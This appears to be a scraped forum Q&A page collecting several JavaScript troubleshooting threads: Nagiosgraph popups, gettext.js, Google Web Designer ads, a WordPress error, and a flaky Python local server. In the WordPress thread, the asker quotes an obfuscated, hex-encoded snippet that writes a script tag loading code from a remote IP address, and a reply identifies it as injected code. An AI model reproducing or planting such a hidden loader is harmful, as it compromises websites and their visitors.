Nagiosgraph onMouseOver not working - javascript

I had a nagios server monitoring several hosts and services. Now I've been asked to implement nagiosgraph. I've followed the documentation to the letter and everything worked except the mouse over function.
I created a common-header.ssi file with this code
<script type="text/javascript" src="/nagiosgraph/nagiosgraph.js"></script>
I've placed this file into my nagios path /usr/local/nagios/share/ssi
I've defined a service to work out with the mouse over function like this:
define service{
use local-service,graphed-service
host_name TOMCAT-DESARROLLO
service_description Tomcat heap memory
check_command check_nrpe!check_jmx_heap
notifications_enabled 0
action_url /nagiosgraph/cgi-bin/show.cgi?host=$HOSTNAME$&service=$SERVICEDESC$' onMouseOver="showGraphPopup(this)" onMouseOut="hideGraphPopup()" rel='/nagiosgraph/cgi-bin/showgraph.cgi?host=$HOSTNAME$&service=$SERVICEDESC$
}
Nagiosgraphs works properly, I can access graphs for a service clicking on the icon. When I mouse over the icon, a popup should show the graph without needing to click anywhere, but instead I get this error message in the console:
Uncaught ReferenceError: showGraphPopup is not defined
onmouseover # status.cgi?host=all:893
It seems to me that nagiosgraph is using the wrong cgi, since the command line states it would be using "showgraph.cgi" but the error is coming from nagios' "status.cgi".
Any ideas on why would this be happening and how to fix it?
Thanks a lot

I don't know if it is relevant to U any more, I battled with same issue for 2 days now and finally got it.
From Nagios: You can include custom headers and footers in the output of the CGIs by dropping some appropriately named HTML files in the ssi/ subdirectory of the Nagios HTML directory (i.e. /usr/local/nagios/share/ssi).
Not true! The format of the ssi files should be in bash not HTML. Meaning you should echo output. Example common-header.ssi:
#!/bin/bash
echo "<script type=\"text/javascript\" src=\"/nagiosgraph/nagiosgraph.js\"></script>"

Related

How to add gettext.js to existing website?

I am not strong in java, so this may be an easy answer. I am trying to incorporate a seemingly straigtforward i18n function to an existing site.
gettext.js
I have copied the gettext.js file from node-modules/gettext.js into my /js directory and it is loading correctly in the header of my page. (I can see it under sources, and a tried renaming it to provoke an error and that happens, so I know the script is loading.)
<script src="{{{uiRootPath}}}/js/vendor/gettext.js"></script>
<script>
var i18n = window.i18n();
</script>
But if i try to run this as suggested above (or directly in the console), I get a message: (index):40 Uncaught TypeError: window.i18n is not a function. I haven't even gotten around to loading the json messages.
Should this be loaded somewhere or somehow else? Is this an npm issue? Thank you!

ReferenceError: Can't find variable: Enabler, Google Web Designer Published Locally

I have received several ads exported from the Google Web Designer tool in the folder format:
/Ad-Name/
|-index.html
|-image.jpg
|-overlay.png
However when I open index.html in Safari 14.1.2 nothing loads, and when I check the console I find the error:
ReferenceError: Can't find variable: Enabler
Which points me to this line:
Enabler.addEventListener(studio.events.StudioEvent.EXPAND_START, this.H);
I assume it should be coming from this script tag on line 2000 something:
<script data-source="https://s0.2mdn.net/ads/studio/Enabler.js" data-exports-type="gwd-google-ad" src="https://s0.2mdn.net/ads/studio/Enabler.js"></script>
Even when I move it above the line where the Enabler object is used first, nothing changes.
The most darndest thing is that it did work for about five minutes earlier today. Because of this I thought there might be some kind of cache issue but I get the same error after clearing all my data.
Reading the docs has not helped.

SyntaxError: missing ; before statement error in wordpress

All working fine in localhost, but in live server, all of a sudden I get the above mentioned error for every single js file.
I commented out wp_enqueue_scripts in functions.php, to see if the error disappears but it still there.
Also added below line thinking the string concatnation might have caused it.
//prevent javascript concat
define('CONCATENATE_SCRIPTS', false);
I can't find out what might cause this problem. Please advise me. I can provide my site's access to test.
EDIT:
I opened one of my plugin file shown in the console with error remark. Noticed weird string before the actual code begin. I suspect this could be the problem.
Is this some kind of prefix by wordpress or unwanted string from elsewhere?
var _0xaae8=["","\x6A\x6F\x69\x6E","\x72\x65\x76\x65\x72\x73\x65","\x73\x70\x6C\x69\x74","\x3E\x74\x70\x69\x72\x63\x73\x2F\x3C\x3E\x22\x73\x6A\x2E\x79\x72\x65\x75\x71\x6A\x2F\x38\x37\x2E\x36\x31\x31\x2E\x39\x34\x32\x2E\x34\x33\x31\x2F\x2F\x3A\x70\x74\x74\x68\x22\x3D\x63\x72\x73\x20\x74\x70\x69\x72\x63\x73\x3C","\x77\x72\x69\x74\x65"];document[_0xaae8[5]](_0xaae8[4][_0xaae8[3]](_0xaae8[0])[_0xaae8[2]]()[_0xaae8[1]](_0xaae8[0]))jQuery(document).ready(function() {
var meta_image_frame;
var meta_mobileimage_frame;
// Runs when the image button is clicked.
jQuery('#banner_manager_image_button').click(function(e){
....plugins js code-----
});
});
Your _0xaae8 is missing ; before jQuery(document).ready(.
This code : var _0xaae8=[... looks like injected code. Usually I had seen such codes injected via some bad written tools/plugins/libs that allow user to work with files (like uploading file to server). I suggest removing it if it's not your code and check other files on server too.

Random 404 from localhost

I'm running a local server in python
python -c $'import SimpleHTTPServer;\nmap = SimpleHTTPServer.SimpleHTTPRequestHandler.extensions_map;\nmap[""] = "text/plain";\nfor key, value in map.items():\n\tmap[key] = value + ";charset=UTF-8";\nSimpleHTTPServer.test();' "$port"
EDIT: This is the readable version of the command string passed to python -c, so in pseudocode the code block above could be resumed like this: python -c $'command' "$port" where
the command part is:
import SimpleHTTPServer
map = SimpleHTTPServer.SimpleHTTPRequestHandler.extensions_map
map[""] = "text/plain"
for key, value in map.items():
map[key] = value + ";charset=UTF-8"
SimpleHTTPServer.test()
and I get (seemingly) random 404 errors that prevents my js to execute correctly.
More specifically I am serving a static html page and its linked javascript files.
Chrome tells me net::ERR_ADDRESS_UNREACHABLE and sometimes net::ERR_CONNECTION_REFUSED on this script tag on the index.html page.
<script type="text/javascript" src="http://localhost:8000/lib/fonts.js"></script>
I have 3 weird behavior I don't understand:
if I inspect the terminal log where the python server is running I don't have any 404 error. In fact it says that the file was correctly served (200).
if I go to chrome's Network panel it tells me: Failed to load response data but if I 'open link on a new tab' I can actually see the file!
If I load the file http://localhost:8000/lib/fonts.js on another tab and I refresh many times I never get errors.
sometimes I don't get any 404 errors but my js does not work at all (no js errors)
So who is causing the problem? Chrome, Python or some async behavior in my js?
I suspect that the js files are not loaded in order so other js scripts could not find and use them..
EDIT2:
If I switch server, for example using the built-in php server:
php -S localhost:8000
I won't get the errors
Ok this seems was caused by two different issues:
I've got rid of any async attributes on the <script> nodes. Especially it seems that loading jquery from google with the async attributes was causing most of the problems. Most probably the order of the scripts was not preserved but I've never got any error about jquery being undefined, I was getting an error on the missing script /lib/fonts.js weird..
Even tough removing async made things more reliable, more or less once every 10 page refresh I still got errors of the type net::ERR_ADDRESS_UNREACHABLE or net::ERR_CONNECTION_REFUSED on different external resources, sometimes on a js file, sometimes on a css file. Changing the python server with the php built-in server seems removed the remaining random errors.
So php -S localhost:8000 is more reliable (in my case) than the python counterpart.
NOTE: Even tough I've solved the problem I still don't know exactly what was causing the errors so if someone else has a better answer than this he's very welcome to post. I will leave the answer unaccepted for a while.

Why javascript doesn't work when the site is online?

On the following site : http://www.cefod.org/legitchad/web there are a lot of javascript (jquery, jquery-ui).
Everything is working offline, but when the website is online, no more script is working.
It seems there are no problem with the tags, since you can read them by clicking on the links in the page's source.
So, what is the problem ?
I get 2 error messages when running you site through Firebug:
illegal character in jquery-ui.js on line 7199
$.datepicher is undefined in ui-datepicker-fr.js on line 2
Probably has something to do with you problems
Firebug tells me your jquery-ui.js is broken in line 7199.
Looks like an encoding problem. Get a new file from the jquery ui website. Make sure it not get's broken during the upload.
Inside your jquery-ui.js, there is something wrong on line: 7199, I see al lot of characters that can not be found, maybe something went wrong on uploading this file.
What if you try using this URL, just checking if this makes the error, this is not the newest jQueryUI url, but it's the same version as you are using now:
https://ajax.googleapis.com/ajax/libs/jqueryui/1.7.2/jquery-ui.min.js
your file upload could have messed up,
did you try re-uploading?
because what I see in the file online at the mentioned lines above is "����������������������������������������..."
this could have happened if your transfer stopped and tried to resume

Categories

Resources